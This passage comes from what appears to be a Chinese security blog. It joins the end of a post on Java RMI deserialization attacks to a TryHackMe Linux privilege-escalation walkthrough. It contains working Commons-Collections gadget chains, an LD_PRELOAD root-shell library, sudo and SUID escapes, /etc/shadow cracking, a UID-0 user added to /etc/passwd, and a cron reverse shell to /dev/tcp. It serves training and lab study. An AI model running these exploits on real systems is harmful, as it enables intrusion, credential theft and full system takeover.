public static Object getHackObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
return obj;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Server
package RMI;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class HackedSever {
public static void main(String[] args) throws Exception {
Hacker hacker = new HackerImpl();
LocateRegistry.createRegistry(1099);
// 将Stub代理引用绑定到Registry服务的url上
Naming.rebind("rmi://localhost:1099/hack", hacker);
}
public static class HackerImpl extends UnicastRemoteObject implements Hacker {
protected HackerImpl() throws RemoteException {
super();
}

@Override
public void hacked(Object obj) throws RemoteException {
System.out.println(obj);
}
}
}

服务端攻击客户端

和上面差不太多,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了

1
2
3
4
5
6
7
8
9
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
public Object hack() throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Server
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackedSever {
public static void main(String[] args) throws Exception {
Hacker hacker = new HackerImpl();
LocateRegistry.createRegistry(1099);
// 将Stub代理引用绑定到Registry服务的url上
Naming.rebind("rmi://localhost:1099/hack", hacker);
}
public static class HackerImpl extends UnicastRemoteObject implements Hacker {
protected HackerImpl() throws RemoteException {
super();
}

@Override
public Object hack() throws RemoteException {
Object obj = null;
try{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
obj = constructor.newInstance(Retention.class, outerMap);
}catch (Exception e){
e.printStackTrace();
}
return obj;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
// Client
package RMI;

import java.rmi.Naming;

public class HackedClient {
public static void main(String[] args) throws Exception {
Hacker hacker = (Hacker) Naming.lookup("rmi://localhost:1099/hack");
hacker.hack();
}
}

参考链接:

JAVA RMI 反序列化攻击 & JEP290 Bypass分析 | Threezh1

Java反序列化漏洞(一)–RMI协议原理/详解及流量分析 | yq1ng

TryHackMe之Linux提权

简介

提权是一个过程,没有一劳永逸的解决方案,而很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码等都是影响你获取root权限的关键因素。

在本质上,提权通常涉及从低权限账户提升到高权限账户。更具体地说,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置失误,未经授权地访问通常对用户受限的资源。

在进行真实环境的渗透测试时,很少能够获得直接的管理员访问权限来建立立足点(初始访问)。提权是至关重要的,因为它使你能够获得系统管理员级别的访问权限,从而可以执行以下操作:

  • 重置密码
  • 绕过访问控制以获取受保护数据
  • 编辑软件配置
  • 实现持久化
  • 更改现有(或新建)用户的权限
  • 执行任何管理命令

Enumeration

一旦您获得对任何系统的访问权限,Enumeration是您必须采取的第一步。您可能已经通过利用导致根级别访问的严重漏洞访问了系统,或者只是找到了一种使用低特权帐户发送命令的方法。Enumeration 在 post-compromise 阶段和之前一样重要。

hostname

hostname命令可以获取目标机的主机名,虽然这个值可以很容易地改变或者是一个相对无意义的字符串,但在某些时候它可以提供有关目标系统在公司网络中的角色的信息

uname -a

这个命令将为我们提供有关系统使用的内核的更多详细信息,这在搜索任何可能导致特权升级的潜在内核漏洞时非常有用。

/proc/version

proc 文件系统提供有关目标系统进程的信息,许多不同的 Linux 版本上都能找到 /proc,查看 /proc/version 可能会为您提供有关内核版本的信息和其他数据,例如是否安装了编译器(例如 GCC)

/etc/issue

该文件通常包含有关操作系统的一些信息,但可以很容易地进行自定义或更改。可以参考这个文件判断操作系统及其版本

ps

ps 命令(Process Status)是查看 Linux 系统上正在运行的进程的有效方法。

ps命令的输出内容通常包括以下内容:

  • PID:进程ID(进程唯一)
  • TTY:用户使用的终端类型
  • 时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
  • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

-A选项可以查看所有运行中的进程;axjs选项可以查看进程树;aux选项可以查看所有用户的进程、启动进程的用户和未附加到终端的进程,使用这个选项我们可以更好地了解系统和潜在的漏洞

env

这个命令可以获取到系统的环境变量,PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于提权

sudo -l

目标系统可能配置为允许用户以root权限运行某些(或全部)命令。可以使用sudo -l命令列出用户可以使用sudo运行的所有命令

ls

虽然是linux常见命令,但在寻找潜在的提权途径,使用-la参数显示隐藏文件(以点开头)以及更详细的文件权限和其他信息,以避免错过潜在的文件或目录

id

这个命令提供当前用户权限级别和组成员身份的总体概述,id USER也可用于获取另一个用户的信息

/etc/passwd

读取 /etc/passwd 文件是发现系统用户的一种简单方法,使用cat /etc/passwd | cut -d ":" -f 1可以很容易地剪切并转换成一个有用的列表以用于暴力攻击。但其中有些事没啥用的系统或服务用户,可以用cat /etc/passwd | grep home查找home,因为真实用户很可能将他们的文件夹放在home目录下

history

这个命令可以显示历史命令记录,Linux默认记录用户所执行过的所有命令,也许可以从中了解到更多信息

ifcofig

目标系统可能是连接到另一个网络的跳板。ifconfig命令可以提供有关系统网络接口的信息,我们也许不能直接访问某些网络接口。除此之外,可以使用 ip route 命令确认存在哪些网络路由

netstat

netstat(network statistics)命令用于显示各种网络相关信息,-a选项显示所有正在监听的端口和已建立的连接;-at-au选项分别列出显示所有TCP和UDP传输协议的连线状态;-l选项列出处于监听模式的端口。这些端口是打开的,并准备接受传入的连接,配合t选项仅列出使用TCP协议进行监听的端口;-s选项按协议列出网络使用统计信息。也可以配合-t-u使用;-tp选项列出带有服务名称和 PID 信息的连接,当PID/Program name列为空时指这个进程属于另一个用户;-i选项显示网络接口统计信息;-ano选项是一种常见使用方式,表示显示所有套接字、不解析名字并显示定时器

Automated Enumeration Tools

自动化工具可以节省时间,但可能会忽略一些提权用到的信息,在使用的时候要注意目标机是否有运行环境

内核漏洞提权

除非单个漏洞导致 root shell,否则权限升级过程将依赖于错误配置和松散的权限。Linux 系统上的内核管理组件之间的通信,例如系统上的内存和应用程序,这个关键功能需要内核有特定的权限;因此,成功的利用可能会导致 root 特权。

内核利用方法:

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞利用代码
  3. 运行漏洞利用代码

虽然看起来很简单,但请记住,内核漏洞利用失败可能会导致系统崩溃。

可以根据您的发现,您可以使用搜索引擎搜索现有的漏洞利用代码,也可以在https://www.linuxkernelcves.com/cves搜索,或者使用像LES(Linux Exploit Suggester)的脚本发现可利用的漏洞代码,但可能会误报漏报

Hint:

  1. 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时,对内核版本具体
  2. 在启动之前,请务必了解漏洞利用代码的工作原理。一些漏洞利用代码可以在操作系统上进行更改,使它们在进一步使用时不安全,或者对系统进行不可逆的更改,从而在以后造成问题
  3. 一些漏洞利用在运行后可能需要进一步的交互。阅读漏洞利用代码提供的所有注释和说明
  4. 您可以分别使用 SimpleHTTPServer Python 模块和 wget 将漏洞利用代码从您的机器传输到目标系统

Sudo提权

默认情况下,sudo命令允许用户以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性

任何用户都可以使用 sudo -l 命令查看其当前与 root 权限相关的情况。

GTFObins是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

例如find命令sudo find . -exec /bin/sh \; -quit可以用这个命令进行提权

除此之外还有其他办法

利用应用程序

可以利用程序的功能来泄露信息,例如 Apache2 有一个选项支持加载备用配置文件(-f:指定备用 ServerConfigFile),这样就可以使用此选项加载 /etc/shadow 文件将导致包含 /etc/shadow 文件第一行的错误消息

利用 LD_PRELOAD

LD_PRELOAD 是一个允许任何程序使用共享库的函数。如果启用env_keep选项,我们可以生成一个共享库,它将在程序运行之前加载并执行,注意如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略

这种方法提权的步骤如下:

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序

一个简单的root shell的C代码如下:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译为共享对象文件

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后就可以使用 sudo 运行的任何程序时使用这个共享对象文件,例如

1
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

SUID提权

许多 Linux 权限控制依赖于控制用户和文件交互。我们知道文件有读、写和可执行权限(rwx),都是在其权限级别内提供给用户的。这随着 SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行。除此之外文件权限还有一个s来显示它们的特殊权限级别,我们可以通过find / -type f -perm -04000 -ls 2>/dev/null找到这样的文件。

一个好的做法是将此列表中的可执行文件在GTFObins上查找

例如如果nano是这样具有suid权限的文件,尽管上面的网站并不能帮助我们通过suid提权,但 SUID 位允许我们使用 nano 文本编辑器以文件所有者的权限创建、编辑和读取文件。如果nano由root所有,则意味着我们可以以root的权限读取和编辑文件,在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow 文件或将我们的用户添加到 /etc/passwd

读取/etc/shadow

nano /etc/shadow就可以输出文件内容,然后使用unshadow命令生成一个可被破解的文件,这需要/etc/shadow/etc/passwd两个文件,unshadow passwd.txt shadow.txt > passwords.txt,接着使用john工具拥有正确的字典和一点运气就能得到明文的密码。

添加一个具有 root 权限的新用户

首先用 openssl 工具生成新用户拥有的密码的哈希值,然后将此密码哈希值和用户名添加到 /etc/passwd 文件中,特别注意添加root:/bin/bash的用法,这样切换到新添加的用户就能拥有root权限

1
hacker:openssl_hash:0:0:root:/bin/bash

Capabilities提权

Capabilities有助于在更精细的级别管理权限,如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的Capabilities,这样,二进制文件无需更高权限的用户即可完成更高权限用户能完成的任务。

我们可以使用 getcap 工具列出启用的Capabilities,当以非特权用户身份运行时,getcap -r / 会产生大量错误,因此最好将错误消息重定向到 /dev/null,即getcap -r / 2>/dev/null

GTFObins有一个很好的二进制文件列表,如果我们发现任何设置的Capabilities,可以利用这些二进制文件进行特权升级。

Cron Jobs提权

Cron jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。

提权原理就是如果有一个以 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行

Cron jobs配置以 crontab(cron 表)存储以查看任务将运行的下一个时间和日期,任何用户都可以读取 /etc/crontab 这个保存系统范围下 cron jobs 的文件。我们的目标是找到一个由 root 设置的 cron jobs 并让它运行我们的脚本,最好是一个 shell

1
2
#!/bin/bash
bash -i >& /dev/tcp/<your_ip>/<port> 0>&1

系统管理员需要定期运行脚本。 他们创建了一个 cron jobs 来执行此操作, 一段时间后,脚本变得无用,他们将其删除,但他们没有清理相关的 cron jobs,此变更管理问题可以导致利用 cron jobs 的潜在漏洞。

如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。这样在这个路径下创建一个同名的脚本,它应该由 cron jobs 运行。

PATH提权

Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。如果您的用户具有写入权限的文件夹位于PATH中,您可能会劫持应用程序来运行脚本。

1
2
echo $PATH
export $PATH=/tmp:$PATH

NFS提权

共享文件夹和远程管理界面(例如 SSH 和 Telnet)也可以帮助您获得目标系统的根访问权限。某些情况下还需要同时使用这两种载体,例如在目标系统上找到根 SSH 私钥并通过 SSH 以根权限连接,而不是尝试增加当前用户的权限级别。

NFS(Network File Sharing)配置保存在 /etc/exports 文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。此提权的关键元素是文件中的no_root_squash选项。默认情况下,NFS会将root用户更改为nfsnobody,并阻止任何文件以root权限运行。如果可写的共享上存在no_root_squash选项,我们可以创建一个设置了SUID位的可执行文件,并在目标系统上运行它。